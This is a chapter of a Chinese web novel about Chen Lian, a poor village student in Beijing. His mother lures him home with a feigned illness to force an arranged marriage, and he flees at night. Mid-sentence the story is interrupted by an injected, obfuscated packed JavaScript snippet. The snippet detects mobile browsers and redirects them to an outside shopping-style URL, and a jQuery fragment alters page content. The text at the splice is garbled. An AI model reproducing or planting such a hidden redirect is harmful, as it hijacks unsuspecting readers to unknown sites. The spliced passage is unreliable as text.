二零二一年春，为报道豫州脱贫情况我来到了伏牛山余脉和桐柏山交界处的豫西南。
微风穿过山林灌入鼻腔，我拿着手中摄像机惊诧豫州并非全然平坦。
淮河支流形成的冲积扇内群聚数百户人家，隐匿于此，倒是难寻。
我闭了闭眼，擦掉额间汗，向前来接应的村干部道明来意。
村干部是个年轻的男子，他听我讲完就要接过我手里的摄像机帮我拿。
我谢却他的好意，同他一起往村委会走去。
一路上，他咧着嘴向我夸赞他的好帮手。
我认真倾听记录。
太阳换了个山头，我们终于到达目的地。
与我并行的村干部眉眼飞扬，他遥遥指向村委会前空地处一个在弯腰劳作的男人。
“他呀就是我和您说的人，我们这能发展起来，他功不可没！”
男人黝黑的脸庞让我看不清他的神情。我疑问，“他？”
*
“她是咱学院学姐，比咱大一届，超级无敌漂亮！”
陈连在床边收拾东西，身后室友时景胜还在回忆中午遇见的女孩。
他拉着抑扬顿挫地音调讲述她的美好。
陈连知道学姐的名字，她叫姜月，曾向他借过课堂笔记。
“学姐声音也好听，那天朝你借笔记，我还以为她在和我讲话。”时景胜转身看向陈连。
陈连笑笑，收拾东西的动作慢了下来。
北京十月暑气消散，陈连室友突发兴致要去爬长城。
狭长的宿舍间内，时景胜最为赞同。
“我在南方二十多年还没见过长城呢，去吧去吧，正好赶上国庆！”
“国庆！对哦，明天就开始放假了！七天假，爬长城完全可以。”与时景胜对床的杜彬附和。
提出这个问题的潘极把目光挪到陈连身上。
陈连放下书本微笑冲潘极点头。
于是，四人决定明日一早就去爬长城。
夜里凌晨，陈连望着上铺木板还没睡。
这是他来北京上学的第一个学期，虽然普通话说不明白，但并不耽误学习。
有吃有穿的北京与老家是天壤之别，他夜晚常常不敢闭眼，怕醒来是大梦一场。
可上下打架的眼皮让他不得不闭上眼睛。他想他该睡了，明日还有安排，不能拖同伴后腿。
十月一日清晨，时景胜激动地畅想声钻进了陈连耳中。
他睁开眼睛，猛地起身，脑袋一下子撞到了上铺木板。
“慢些陈同学。”
陈连捂着脑袋腼腆笑，“没事。”
“咱们要现在出发吗？”陈连迅速洗漱完毕，背上昨晚收拾好的背包端正站在潘极面前询问。
“走！”时景胜没等潘极说话一把揽过陈连肩膀，“快点快点！我都迫不及待了。”
杜彬和潘极在两人后面。
一行四人扬着明媚的笑走出宿舍楼。
时景胜偷偷摸摸从口袋掏出个黑乎乎的东西给陈连看。
“这是什么？”陈连谨慎没敢碰。
时景胜神秘兮兮凑到他耳边，准备告诉他。
“哎！”杜彬推开时景胜，“陈连，宿管老师在喊你。”
时景胜被推的措不及防，一抬头恰巧看见学姐出现在眼前。他瞪大双眼，艰难站直身体。
陈连正被宿管老师抓住胳膊在说话。
“陈连陈同学吧？这是你家里人寄来的信件，昨晚到的，可能有急事，你快看看吧。”
宿管老师把牛皮纸信封递到陈连手上。
陈连接过信，犹豫看向其余三位室友。
“看吧，不急这一会儿。”时景胜不知何时窜到他身前。
“是啊，不着急，长城又不会跑。”潘极开口。
陈连点头，在四人注视下打开信封。
A4信纸上寥寥数语，陈连极快将内容一览。
接着他蓦然怔住，不可置信的翻来覆去看那封信，看来看去始终无法相信，千里迢迢寄来的家书是母亲的病危书。
一个小时后，爬长城的计划继续进行，而陈连却攥着室友帮他凑的路费，背着行囊踏上回家的行程。
一天一夜后，火车晚点停在豫县站。天色黯淡，陈连谢绝拉客司机，孤身往陈家村走。
直到脚底被磨的火热，晨露打湿裤脚，陈连才顺利到家。
陈春生开门挑粪时以为自己眼花了，他远在北京的大学生儿子竟然出现在家门口。
他揉揉眼睛，何芳的催促声在身后响起，“忘拿锄头了？”
陈连见母亲面色红润出现，心中绷紧的弦总算松了松。
“娘，你没事吧。”他接过母亲手里的锄头，“是要去薅花生吗？”
何芳眼睛闪烁，什么也没解释。
陈连放下背包随父亲下地。
晌午，薅了半亩地的陈连与父亲回家。
何芳一改清早态度，热切出门迎，“他爹，明天能薅完不。”
她嘴里喊陈春生，脸却看向陈连。
“能，娘。”陈连擦掉额间汗。
“那就好那就好，听村东头人说，过两天有雨呢，早点薅完早点晒干装袋，就不操它的心了。”
陈连附和点头。
“呀！陈连哥回来啦！”刚一走到家门口，一道响亮的女声出现。
陈连没理会，自顾自往前。
但女人就站在她家门口，他无法躲开，也不能躲开。
因为今天何芳邀请田初露来他家吃饭，为了感谢她家帮忙掰玉米。
果不其然，饭桌上，何芳吃了两口就开始夸田初露。
“初露真能干，十里八乡都比不过……”何芳夸的直白。
田初露面红耳赤频频点头。
陈连被看的头不敢抬。
饭后，还没等陈芳进入正题，陈连先开了口，“陈姑娘咱出门走走吧。”
田初露心花怒放跟陈连出门，两人没走远，到了村里大杨树下就停了。
“陈姑娘咱俩不合适，我配不上你。”陈连开门见山。
田初露不以为意，“才不会，你配得上。”
陈连严肃道，“我目前没打算成家，我知道你的心意，我也知道你家对我家的帮助，我会记得你的恩情，以后你家若有我陈连能帮上忙的地方，我一定帮，肯定帮。但是我们真的不合适。”
“哪里不合适？你妈都说我们般配呢。你是不是嫌我没文化？”田初露回他。
陈连无力，“我不是这个意思。”
“那你什么意思？咱俩结婚不好吗？我喜欢你，你家穷，你娶我，你就不会饿着了。”
“我也不是这个意思。我家是穷但是我也没惦记你家的东西。我只是觉得我们不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284341|198422||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
合适，我配不上你。”陈连解释。
这些话他不是这个第一次说，田初露对他表示喜欢也不是第一次。
“可是你家钱都收了，我们是一定要结婚的！”
陈连瞪大眼睛，“你说什么！”
“你家收了我家的钱啊，不然你怎么会突然回来，不就是为了和我结婚吗？”田初露诧异。
陈连震惊，他握紧手掌，和她匆匆告别。
家里，陈春生和何芳正在讨论以后给二儿子娶媳妇要花多少钱。
陈连一把推开家门，“爹，娘，你们怎么能收田家的东西！”
他一嗓子把屋里看书的陈明吓一激灵。陈明趴门后看堂屋三人。
陈春生不语，何芳起身，“你怎么知道的？”
“我怎么知道？娘，你三天两头往北京寄信说身体不好，生病了，你以为我不知道你什么意思吗？”
“什么我什么意思，我想我儿子了，想让我儿子回来看看我有什么不对吗？我养你这么大，你就不能回来看看你娘吗？”何芳抬高声量。
“可以！”
“你每次寄信，我哪次没回你。为了从北京寄回家一封信，我要一天不能吃饭，你知道我是怎么过的吗？”
“我开学不到一个月，你就寄了四封信，娘！再想儿子也不是这个想法啊。”陈连大声说。
可何芳哪里听他的话，她的声音比他还大。
她一边哭诉命不好，一边往地上跪痛骂老天，“我怎么生了个这样的儿子啊！老天爷，老天爷。”
陈连去拉她，陈春生拽着不让拉，“儿子长大了翅膀硬了，连爹娘都不放在眼里了。”
“我不是这个意思。”陈连内心一团糟。
眼见他有松动，何芳嚎得更有劲了。
陈春生与何芳两人一唱一和斥责陈连不孝顺，嫌弃爹娘，没良心。
陈连被两人围攻，刚平静下来的火气又冒了出来。
三人在堂屋拉拉扯扯，吵吵闹闹。
里屋的陈明不敢动，就呆呆的透过门缝看着。
一夜未眠的陈连面对父母的无理取闹毫无胜算，他败下阵来，沉默的看着两人。
两人没有半分歉意，“明儿一早，田家父母会来咱家，你收拾收拾，别让人看笑话。”
至于为什么来，他们却不提。
半夜，陈连躺在床上辗转，吵醒了与他同床的弟弟。
“哥，你是不是不想结婚。”陈明悄悄低声问。
陈连停止翻动，躺平身体，若有若无的嗯了一声。
“妈说明天田叔会来和你说亲。”陈明小声向陈连透露消息。
“嗯。”
陈连点头。他睡不着，但比他先一步有动作的是陈明。
“哥，要不你趁天黑赶紧跑吧。”陈明坐起身，眼神坚定的看他。
“你现在跑他们不会发现的。”陈明越想越可行，他下床摸□□陈连收拾东西。
窸窸窣窣的，陈连赶忙下床制止，“不用收拾。”
“对，拿太多不好走，那哥你快走吧。”陈明快速领会到他哥意思，停手后催促陈连快点跑。
“往那边走，那边是咱大爷家的地，玉米还没收完。”陈明给陈连指路。
陈连与陈明低声道谢后推开了家门。
木门总会发出吱呀声，他翻了墙出去。
“谁在哪里！”